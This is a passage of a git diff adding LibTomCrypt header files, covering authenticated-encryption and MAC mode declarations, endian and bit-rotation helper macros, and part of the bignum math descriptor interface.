+ int direction); + +int ccm_done(ccm_state *ccm, + unsigned char *tag, unsigned long *taglen); + +int ccm_memory(int cipher, + const unsigned char *key, unsigned long keylen, + symmetric_key *uskey, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *header, unsigned long headerlen, + unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen, + int direction); + +int ccm_test(void); + +#endif /* LTC_CCM_MODE */ + +#if defined(LRW_MODE) || defined(LTC_GCM_MODE) +void gcm_gf_mult(const unsigned char *a, const unsigned char *b, unsigned char *c); +#endif + + +/* table shared between GCM and LRW */ +#if defined(LTC_GCM_TABLES) || defined(LTC_LRW_TABLES) || ((defined(LTC_GCM_MODE) || defined(LTC_GCM_MODE)) && defined(LTC_FAST)) +extern const unsigned char gcm_shift_table[]; +#endif + +#ifdef LTC_GCM_MODE + +#define GCM_ENCRYPT LTC_ENCRYPT +#define GCM_DECRYPT LTC_DECRYPT + +#define LTC_GCM_MODE_IV 0 +#define LTC_GCM_MODE_AAD 1 +#define LTC_GCM_MODE_TEXT 2 + +typedef struct { + symmetric_key K; + unsigned char H[16], /* multiplier */ + X[16], /* accumulator */ + Y[16], /* counter */ + Y_0[16], /* initial counter */ + buf[16]; /* buffer for stuff */ + + int cipher, /* which cipher */ + ivmode, /* Which mode is the IV in? */ + mode, /* mode the GCM code is in */ + buflen; /* length of data in buf */ + + ulong64 totlen, /* 64-bit counter used for IV and AAD */ + pttotlen; /* 64-bit counter for the PT */ + +#ifdef LTC_GCM_TABLES + unsigned char PC[16][256][16] /* 16 tables of 8x128 */ +#ifdef LTC_GCM_TABLES_SSE2 +__attribute__ ((aligned (16))) +#endif +; +#endif +} gcm_state; + +void gcm_mult_h(gcm_state *gcm, unsigned char *I); + +int gcm_init(gcm_state *gcm, int cipher, + const unsigned char *key, int keylen); + +int gcm_reset(gcm_state *gcm); + +int gcm_add_iv(gcm_state *gcm, + const unsigned char *IV, unsigned long IVlen); + +int gcm_add_aad(gcm_state *gcm, + const unsigned char *adata, unsigned long adatalen); + +int gcm_process(gcm_state *gcm, + unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + int direction); + +int gcm_done(gcm_state *gcm, + unsigned char *tag, unsigned long *taglen); + +int gcm_memory( int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *IV, unsigned long IVlen, + const unsigned char *adata, unsigned long adatalen, + unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen, + int direction); +int gcm_test(void); + +#endif /* LTC_GCM_MODE */ + +#ifdef LTC_PELICAN + +typedef struct pelican_state +{ + symmetric_key K; + unsigned char state[16]; + int buflen; +} pelican_state; + +int pelican_init(pelican_state *pelmac, const unsigned char *key, unsigned long keylen); +int pelican_process(pelican_state *pelmac, const unsigned char *in, unsigned long inlen); +int pelican_done(pelican_state *pelmac, unsigned char *out); +int pelican_test(void); + +int pelican_memory(const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out); + +#endif + +#ifdef LTC_XCBC + +/* add this to "keylen" to xcbc_init to use a pure three-key XCBC MAC */ +#define LTC_XCBC_PURE 0x8000UL + +typedef struct { + unsigned char K[3][MAXBLOCKSIZE], + IV[MAXBLOCKSIZE]; + + symmetric_key key; + + int cipher, + buflen, + blocksize; +} xcbc_state; + +int xcbc_init(xcbc_state *xcbc, int cipher, const unsigned char *key, unsigned long keylen); +int xcbc_process(xcbc_state *xcbc, const unsigned char *in, unsigned long inlen); +int xcbc_done(xcbc_state *xcbc, unsigned char *out, unsigned long *outlen); +int xcbc_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int xcbc_memory_multi(int cipher, + const unsigned char *key, unsigned long keylen, + unsigned char *out, unsigned long *outlen, + const unsigned char *in, unsigned long inlen, ...); +int xcbc_file(int cipher, + const unsigned char *key, unsigned long keylen, + const char *filename, + unsigned char *out, unsigned long *outlen); +int xcbc_test(void); + +#endif + +#ifdef LTC_F9_MODE + +typedef struct { + unsigned char akey[MAXBLOCKSIZE], + ACC[MAXBLOCKSIZE], + IV[MAXBLOCKSIZE]; + + symmetric_key key; + + int cipher, + buflen, + keylen, + blocksize; +} f9_state; + +int f9_init(f9_state *f9, int cipher, const unsigned char *key, unsigned long keylen); +int f9_process(f9_state *f9, const unsigned char *in, unsigned long inlen); +int f9_done(f9_state *f9, unsigned char *out, unsigned long *outlen); +int f9_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int f9_memory_multi(int cipher, + const unsigned char *key, unsigned long keylen, + unsigned char *out, unsigned long *outlen, + const unsigned char *in, unsigned long inlen, ...); +int f9_file(int cipher, + const unsigned char *key, unsigned long keylen, + const char *filename, + unsigned char *out, unsigned long *outlen); +int f9_test(void); + +#endif + +#ifdef LTC_CHACHA20POLY1305_MODE + +typedef struct { + poly1305_state poly; + chacha_state chacha; + ulong64 aadlen; + ulong64 ctlen; + int aadflg; +} chacha20poly1305_state; + +#define CHACHA20POLY1305_ENCRYPT LTC_ENCRYPT +#define CHACHA20POLY1305_DECRYPT LTC_DECRYPT + +int chacha20poly1305_init(chacha20poly1305_state *st, const unsigned char *key, unsigned long keylen); +int chacha20poly1305_setiv(chacha20poly1305_state *st, const unsigned char *iv, unsigned long ivlen); +int chacha20poly1305_setiv_rfc7905(chacha20poly1305_state *st, const unsigned char *iv, unsigned long ivlen, ulong64 sequence_number); +int chacha20poly1305_add_aad(chacha20poly1305_state *st, const unsigned char *in, unsigned long inlen); +int chacha20poly1305_encrypt(chacha20poly1305_state *st, const unsigned char *in, unsigned long inlen, unsigned char *out); +int chacha20poly1305_decrypt(chacha20poly1305_state *st, const unsigned char *in, unsigned long inlen, unsigned char *out); +int chacha20poly1305_done(chacha20poly1305_state *st, unsigned char *tag, unsigned long *taglen); +int chacha20poly1305_memory(const unsigned char *key, unsigned long keylen, + const unsigned char *iv, unsigned long ivlen, + const unsigned char *aad, unsigned long aadlen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, + unsigned char *tag, unsigned long *taglen, + int direction); +int chacha20poly1305_test(void); + +#endif /* LTC_CHACHA20POLY1305_MODE */ + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_macros.h b/include/tomcrypt_macros.h new file mode 100644 index 0000000..a3a335e --- /dev/null +++ b/include/tomcrypt_macros.h @@ -0,0 +1,446 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* ---- HELPER MACROS ---- */ +#ifdef ENDIAN_NEUTRAL + +#define STORE32L(x, y) \ + do { (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \ + (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0) + +#define LOAD32L(x, y) \ + do { x = ((ulong32)((y)[3] & 255)<<24) | \ + ((ulong32)((y)[2] & 255)<<16) | \ + ((ulong32)((y)[1] & 255)<<8) | \ + ((ulong32)((y)[0] & 255)); } while(0) + +#define STORE64L(x, y) \ + do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \ + (y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \ + (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \ + (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0) + +#define LOAD64L(x, y) \ + do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48)| \ + (((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32)| \ + (((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16)| \ + (((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0) + +#define STORE32H(x, y) \ + do { (y)[0] = (unsigned char)(((x)>>24)&255); (y)[1] = (unsigned char)(((x)>>16)&255); \ + (y)[2] = (unsigned char)(((x)>>8)&255); (y)[3] = (unsigned char)((x)&255); } while(0) + +#define LOAD32H(x, y) \ + do { x = ((ulong32)((y)[0] & 255)<<24) | \ + ((ulong32)((y)[1] & 255)<<16) | \ + ((ulong32)((y)[2] & 255)<<8) | \ + ((ulong32)((y)[3] & 255)); } while(0) + +#define STORE64H(x, y) \ +do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \ + (y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \ + (y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \ + (y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0) + +#define LOAD64H(x, y) \ +do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48) | \ + (((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32) | \ + (((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16) | \ + (((ulong64)((y)[6] & 255))<<8)|(((ulong64)((y)[7] & 255))); } while(0) + + +#elif defined(ENDIAN_LITTLE) + +#ifdef LTC_HAVE_BSWAP_BUILTIN + +#define STORE32H(x, y) \ +do { ulong32 __t = __builtin_bswap32 ((x)); \ + XMEMCPY ((y), &__t, 4); } while(0) + +#define LOAD32H(x, y) \ +do { XMEMCPY (&(x), (y), 4); \ + (x) = __builtin_bswap32 ((x)); } while(0) + +#elif !defined(LTC_NO_BSWAP) && (defined(INTEL_CC) || (defined(__GNUC__) && (defined(__DJGPP__) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__i386__) || defined(__x86_64__)))) + +#define STORE32H(x, y) \ +asm __volatile__ ( \ + "bswapl %0 \n\t" \ + "movl %0,(%1)\n\t" \ + "bswapl %0 \n\t" \ + ::"r"(x), "r"(y)); + +#define LOAD32H(x, y) \ +asm __volatile__ ( \ + "movl (%1),%0\n\t" \ + "bswapl %0\n\t" \ + :"=r"(x): "r"(y)); + +#else + +#define STORE32H(x, y) \ + do { (y)[0] = (unsigned char)(((x)>>24)&255); (y)[1] = (unsigned char)(((x)>>16)&255); \ + (y)[2] = (unsigned char)(((x)>>8)&255); (y)[3] = (unsigned char)((x)&255); } while(0) + +#define LOAD32H(x, y) \ + do { x = ((ulong32)((y)[0] & 255)<<24) | \ + ((ulong32)((y)[1] & 255)<<16) | \ + ((ulong32)((y)[2] & 255)<<8) | \ + ((ulong32)((y)[3] & 255)); } while(0) + +#endif + +#ifdef LTC_HAVE_BSWAP_BUILTIN + +#define STORE64H(x, y) \ +do { ulong64 __t = __builtin_bswap64 ((x)); \ + XMEMCPY ((y), &__t, 8); } while(0) + +#define LOAD64H(x, y) \ +do { XMEMCPY (&(x), (y), 8); \ + (x) = __builtin_bswap64 ((x)); } while(0) + +/* x86_64 processor */ +#elif !defined(LTC_NO_BSWAP) && (defined(__GNUC__) && defined(__x86_64__)) + +#define STORE64H(x, y) \ +asm __volatile__ ( \ + "bswapq %0 \n\t" \ + "movq %0,(%1)\n\t" \ + "bswapq %0 \n\t" \ + ::"r"(x), "r"(y): "memory"); + +#define LOAD64H(x, y) \ +asm __volatile__ ( \ + "movq (%1),%0\n\t" \ + "bswapq %0\n\t" \ + :"=r"(x): "r"(y): "memory"); + +#else + +#define STORE64H(x, y) \ +do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \ + (y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \ + (y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \ + (y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0) + +#define LOAD64H(x, y) \ +do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48) | \ + (((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32) | \ + (((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16) | \ + (((ulong64)((y)[6] & 255))<<8)|(((ulong64)((y)[7] & 255))); } while(0) + +#endif + +#ifdef ENDIAN_32BITWORD + +#define STORE32L(x, y) \ + do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0) + +#define LOAD32L(x, y) \ + do { XMEMCPY(&(x), y, 4); } while(0) + +#define STORE64L(x, y) \ + do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \ + (y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \ + (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \ + (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0) + +#define LOAD64L(x, y) \ + do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48)| \ + (((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32)| \ + (((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16)| \ + (((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0) + +#else /* 64-bit words then */ + +#define STORE32L(x, y) \ + do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0) + +#define LOAD32L(x, y) \ + do { XMEMCPY(&(x), y, 4); x &= 0xFFFFFFFF; } while(0) + +#define STORE64L(x, y) \ + do { ulong64 __t = (x); XMEMCPY(y, &__t, 8); } while(0) + +#define LOAD64L(x, y) \ + do { XMEMCPY(&(x), y, 8); } while(0) + +#endif /* ENDIAN_64BITWORD */ + +#elif defined(ENDIAN_BIG) + +#define STORE32L(x, y) \ + do { (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \ + (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0) + +#define LOAD32L(x, y) \ + do { x = ((ulong32)((y)[3] & 255)<<24) | \ + ((ulong32)((y)[2] & 255)<<16) | \ + ((ulong32)((y)[1] & 255)<<8) | \ + ((ulong32)((y)[0] & 255)); } while(0) + +#define STORE64L(x, y) \ +do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \ + (y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \ + (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \ + (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0) + +#define LOAD64L(x, y) \ +do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48) | \ + (((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32) | \ + (((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16) | \ + (((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0) + +#ifdef ENDIAN_32BITWORD + +#define STORE32H(x, y) \ + do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0) + +#define LOAD32H(x, y) \ + do { XMEMCPY(&(x), y, 4); } while(0) + +#define STORE64H(x, y) \ + do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \ + (y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \ + (y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \ + (y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0) + +#define LOAD64H(x, y) \ + do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48)| \ + (((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32)| \ + (((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16)| \ + (((ulong64)((y)[6] & 255))<<8)| (((ulong64)((y)[7] & 255))); } while(0) + +#else /* 64-bit words then */ + +#define STORE32H(x, y) \ + do { ulong32 __t = (x); XMEMCPY(y, &__t, 4); } while(0) + +#define LOAD32H(x, y) \ + do { XMEMCPY(&(x), y, 4); x &= 0xFFFFFFFF; } while(0) + +#define STORE64H(x, y) \ + do { ulong64 __t = (x); XMEMCPY(y, &__t, 8); } while(0) + +#define LOAD64H(x, y) \ + do { XMEMCPY(&(x), y, 8); } while(0) + +#endif /* ENDIAN_64BITWORD */ +#endif /* ENDIAN_BIG */ + +#define BSWAP(x) ( ((x>>24)&0x000000FFUL) | ((x<<24)&0xFF000000UL) | \ + ((x>>8)&0x0000FF00UL) | ((x<<8)&0x00FF0000UL) ) + + +/* 32-bit Rotates */ +#if defined(_MSC_VER) +#define LTC_ROx_ASM + +/* instrinsic rotate */ +#include +#pragma intrinsic(_lrotr,_lrotl) +#define ROR(x,n) _lrotr(x,n) +#define ROL(x,n) _lrotl(x,n) +#define RORc(x,n) _lrotr(x,n) +#define ROLc(x,n) _lrotl(x,n) + +#elif !defined(__STRICT_ANSI__) && defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) && !defined(INTEL_CC) && !defined(LTC_NO_ASM) +#define LTC_ROx_ASM + +static inline ulong32 ROL(ulong32 word, int i) +{ + asm ("roll %%cl,%0" + :"=r" (word) + :"0" (word),"c" (i)); + return word; +} + +static inline ulong32 ROR(ulong32 word, int i) +{ + asm ("rorl %%cl,%0" + :"=r" (word) + :"0" (word),"c" (i)); + return word; +} + +#ifndef LTC_NO_ROLC + +#define ROLc(word,i) ({ \ + ulong32 __ROLc_tmp = (word); \ + __asm__ ("roll %2, %0" : \ + "=r" (__ROLc_tmp) : \ + "0" (__ROLc_tmp), \ + "I" (i)); \ + __ROLc_tmp; \ + }) +#define RORc(word,i) ({ \ + ulong32 __RORc_tmp = (word); \ + __asm__ ("rorl %2, %0" : \ + "=r" (__RORc_tmp) : \ + "0" (__RORc_tmp), \ + "I" (i)); \ + __RORc_tmp; \ + }) + +#else + +#define ROLc ROL +#define RORc ROR + +#endif + +#elif !defined(__STRICT_ANSI__) && defined(LTC_PPC32) +#define LTC_ROx_ASM + +static inline ulong32 ROL(ulong32 word, int i) +{ + asm ("rotlw %0,%0,%2" + :"=r" (word) + :"0" (word),"r" (i)); + return word; +} + +static inline ulong32 ROR(ulong32 word, int i) +{ + asm ("rotlw %0,%0,%2" + :"=r" (word) + :"0" (word),"r" (32-i)); + return word; +} + +#ifndef LTC_NO_ROLC + +static inline ulong32 ROLc(ulong32 word, const int i) +{ + asm ("rotlwi %0,%0,%2" + :"=r" (word) + :"0" (word),"I" (i)); + return word; +} + +static inline ulong32 RORc(ulong32 word, const int i) +{ + asm ("rotrwi %0,%0,%2" + :"=r" (word) + :"0" (word),"I" (i)); + return word; +} + +#else + +#define ROLc ROL +#define RORc ROR + +#endif + + +#else + +/* rotates the hard way */ +#define ROL(x, y) ( (((ulong32)(x)<<(ulong32)((y)&31)) | (((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL) +#define ROR(x, y) ( ((((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((y)&31)) | ((ulong32)(x)<<(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL) +#define ROLc(x, y) ( (((ulong32)(x)<<(ulong32)((y)&31)) | (((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL) +#define RORc(x, y) ( ((((ulong32)(x)&0xFFFFFFFFUL)>>(ulong32)((y)&31)) | ((ulong32)(x)<<(ulong32)((32-((y)&31))&31))) & 0xFFFFFFFFUL) + +#endif + + +/* 64-bit Rotates */ +#if !defined(__STRICT_ANSI__) && defined(__GNUC__) && defined(__x86_64__) && !defined(_WIN64) && !defined(LTC_NO_ASM) + +static inline ulong64 ROL64(ulong64 word, int i) +{ + asm("rolq %%cl,%0" + :"=r" (word) + :"0" (word),"c" (i)); + return word; +} + +static inline ulong64 ROR64(ulong64 word, int i) +{ + asm("rorq %%cl,%0" + :"=r" (word) + :"0" (word),"c" (i)); + return word; +} + +#ifndef LTC_NO_ROLC + +#define ROL64c(word,i) ({ \ + ulong64 __ROL64c_tmp = word; \ + __asm__ ("rolq %2, %0" : \ + "=r" (__ROL64c_tmp) : \ + "0" (__ROL64c_tmp), \ + "J" (i)); \ + __ROL64c_tmp; \ + }) +#define ROR64c(word,i) ({ \ + ulong64 __ROR64c_tmp = word; \ + __asm__ ("rorq %2, %0" : \ + "=r" (__ROR64c_tmp) : \ + "0" (__ROR64c_tmp), \ + "J" (i)); \ + __ROR64c_tmp; \ + }) + +#else /* LTC_NO_ROLC */ + +#define ROL64c ROL64 +#define ROR64c ROR64 + +#endif + +#else /* Not x86_64 */ + +#define ROL64(x, y) \ + ( (((x)<<((ulong64)(y)&63)) | \ + (((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF)) + +#define ROR64(x, y) \ + ( ((((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>((ulong64)(y)&CONST64(63))) | \ + ((x)<<(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF)) + +#define ROL64c(x, y) \ + ( (((x)<<((ulong64)(y)&63)) | \ + (((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF)) + +#define ROR64c(x, y) \ + ( ((((x)&CONST64(0xFFFFFFFFFFFFFFFF))>>((ulong64)(y)&CONST64(63))) | \ + ((x)<<(((ulong64)64-((y)&63))&63))) & CONST64(0xFFFFFFFFFFFFFFFF)) + +#endif + +#ifndef MAX + #define MAX(x, y) ( ((x)>(y))?(x):(y) ) +#endif + +#ifndef MIN + #define MIN(x, y) ( ((x)<(y))?(x):(y) ) +#endif + +#ifndef LTC_UNUSED_PARAM + #define LTC_UNUSED_PARAM(x) (void)(x) +#endif + +/* extract a byte portably */ +#ifdef _MSC_VER + #define byte(x, n) ((unsigned char)((x) >> (8 * (n)))) +#else + #define byte(x, n) (((x) >> (8 * (n))) & 255) +#endif + +/* there is no snprintf before Visual C++ 2015 */ +#if defined(_MSC_VER) && _MSC_VER < 1900 +#define snprintf _snprintf +#endif + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_math.h b/include/tomcrypt_math.h new file mode 100644 index 0000000..137e451 --- /dev/null +++ b/include/tomcrypt_math.h @@ -0,0 +1,583 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/** math functions **/ + +#define LTC_MP_LT -1 +#define LTC_MP_EQ 0 +#define LTC_MP_GT 1 + +#define LTC_MP_NO 0 +#define LTC_MP_YES 1 + +#ifndef LTC_MECC + typedef void ecc_point; +#endif + +#ifndef LTC_MRSA + typedef void rsa_key; +#endif + +#ifndef LTC_MILLER_RABIN_REPS + /* Number of rounds of the Miller-Rabin test + * "Reasonable values of reps are between 15 and 50." c.f. gmp doc of mpz_probab_prime_p() + * As of https://security.stackexchange.com/a/4546 we should use 40 rounds */ + #define LTC_MILLER_RABIN_REPS 40 +#endif + +int radix_to_bin(const void *in, int radix, void *out, unsigned long *len); + +/** math descriptor */ +typedef struct { + /** Name of the math provider */ + const char *name; + + /** Bits per digit, amount of bits must fit in an unsigned long */ + int bits_per_digit; + +/* ---- init/deinit functions ---- */ + + /** initialize a bignum + @param a The number to initialize + @return CRYPT_OK on success + */ + int (*init)(void **a); + + /** init copy + @param dst The number to initialize and write to + @param src The number to copy from + @return CRYPT_OK on success + */ + int (*init_copy)(void **dst, void *src); + + /** deinit + @param a The number to free + @return CRYPT_OK on success + */ + void (*deinit)(void *a); + +/* ---- data movement ---- */ + + /** negate + @param src The number to negate + @param dst The destination + @return CRYPT_OK on success + */ + int (*neg)(void *src, void *dst); + + /** copy + @param src The number to copy from + @param dst The number to write to + @return CRYPT_OK on success + */ + int (*copy)(void *src, void *dst); + +/* ---- trivial low level functions ---- */ + + /** set small constant + @param a Number to write to + @param n Source upto bits_per_digit (actually meant for very small constants) + @return CRYPT_OK on success + */ + int (*set_int)(void *a, ltc_mp_digit n); + + /** get small constant + @param a Small number to read, + only fetches up to bits_per_digit from the number + @return The lower bits_per_digit of the integer (unsigned) + */ + unsigned long (*get_int)(void *a); + + /** get digit n + @param a The number to read from + @param n The number of the digit to fetch + @return The bits_per_digit sized n'th digit of a + */ + ltc_mp_digit (*get_digit)(void *a, int n); + + /** Get the number of digits that represent the number + @param a The number to count + @return The number of digits used to represent the number + */ + int (*get_digit_count)(void *a); + + /** compare two integers + @param a The left side integer + @param b The right side integer + @return LTC_MP_LT if a < b, + LTC_MP_GT if a > b and + LTC_MP_EQ otherwise. (signed comparison) + */ + int (*compare)(void *a, void *b); + + /** compare against int + @param a The left side integer + @param b The right side integer (upto bits_per_digit) + @return LTC_MP_LT if a < b, + LTC_MP_GT if a > b and + LTC_MP_EQ otherwise. (signed comparison) + */ + int (*compare_d)(void *a, ltc_mp_digit n); + + /** Count the number of bits used to represent the integer + @param a The integer to count + @return The number of bits required to represent the integer + */ + int (*count_bits)(void * a); + + /** Count the number of LSB bits which are zero + @param a The integer to count + @return The number of contiguous zero LSB bits + */ + int (*count_lsb_bits)(void *a); + + /** Compute a power of two + @param a The integer to store the power in + @param n The power of two you want to store (a = 2^n) + @return CRYPT_OK on success + */ + int (*twoexpt)(void *a , int n); + +/* ---- radix conversions ---- */ + + /** read ascii string + @param a The integer to store into + @param str The string to read + @param radix The radix the integer has been represented in (2-64) + @return CRYPT_OK on success + */ + int (*read_radix)(void *a, const char *str, int radix); + + /** write number to string + @param a The integer to store + @param str The destination for the string + @param radix The radix the integer is to be represented in (2-64) + @return CRYPT_OK on success + */ + int (*write_radix)(void *a, char *str, int radix); + + /** get size as unsigned char string + @param a The integer to get the size (when stored in array of octets) + @return The length of the integer in octets + */ + unsigned long (*unsigned_size)(void *a); + + /** store an integer as an array of octets + @param src The integer to store + @param dst The buffer to store the integer in + @return CRYPT_OK on success + */ + int (*unsigned_write)(void *src, unsigned char *dst); + + /** read an array of octets and store as integer + @param dst The integer to load + @param src The array of octets + @param len The number of octets + @return CRYPT_OK on success + */ + int (*unsigned_read)( void *dst, + unsigned char *src, + unsigned long len); + +/* ---- basic math ---- */ + + /** add two integers + @param a The first source integer + @param b The second source integer + @param c The destination of "a + b" + @return CRYPT_OK on success + */ + int (*add)(void *a, void *b, void *c); + + /** add two integers + @param a The first source integer + @param b The second source integer + (single digit of upto bits_per_digit in length) + @param c The destination of "a + b" + @return CRYPT_OK on success + */ + int (*addi)(void *a, ltc_mp_digit b, void *c); + + /** subtract two integers + @param a The first source integer + @param b The second source integer + @param c The destination of "a - b" + @return CRYPT_OK on success + */ + int (*sub)(void *a, void *b, void *c); + + /** subtract two integers + @param a The first source integer + @param b The second source integer + (single digit of upto bits_per_digit in length) + @param c The destination of "a - b" + @return CRYPT_OK on success + */ + int (*subi)(void *a, ltc_mp_digit b, void *c); + + /** multiply two integers + @param a The first source integer + @param b The second source integer + (single digit of upto bits_per_digit in length) + @param c The destination of "a * b" + @return CRYPT_OK on success + */ + int (*mul)(void *a, void *b, void *c); + + /** multiply two integers + @param a The first source integer + @param b The second source integer + (single digit of upto bits_per_digit in length) + @param c The destination of "a * b" + @return CRYPT_OK on success + */ + int (*muli)(void *a, ltc_mp_digit b, void *c); + + /** Square an integer + @param a The integer to square + @param b The destination + @return CRYPT_OK on success + */ + int (*sqr)(void *a, void *b); + + /** Divide an integer + @param a The dividend + @param b The divisor + @param c The quotient (can be NULL to signify don't care) + @param d The remainder (can be NULL to signify don't care) + @return CRYPT_OK on success + */ + int (*mpdiv)(void *a, void *b, void *c, void *d); + + /** divide by two + @param a The integer to divide (shift right) + @param b The destination + @return CRYPT_OK on success + */ + int (*div_2)(void *a, void *b); + + /** Get remainder (small value) + @param a The integer to reduce + @param b The modulus (upto bits_per_digit in length) + @param c The destination for the residue + @return CRYPT_OK on success + */ + int (*modi)(void *a, ltc_mp_digit b, ltc_mp_digit *c); + + /** gcd + @param a The first integer + @param b The second integer + @param c The destination for (a, b) + @return CRYPT_OK on success + */ + int (*gcd)(void *a, void *b, void *c); + + /** lcm + @param a The first integer + @param b The second integer + @param c The destination for [a, b] + @return CRYPT_OK on success + */ + int (*lcm)(void *a, void *b, void *c); + + /** Modular multiplication + @param a The first source + @param b The second source + @param c The modulus + @param d The destination (a*b mod c) + @return CRYPT_OK on success + */ + int (*mulmod)(void *a, void *b, void *c, void *d); + + /** Modular squaring + @param a The first source + @param b The modulus + @param c The destination 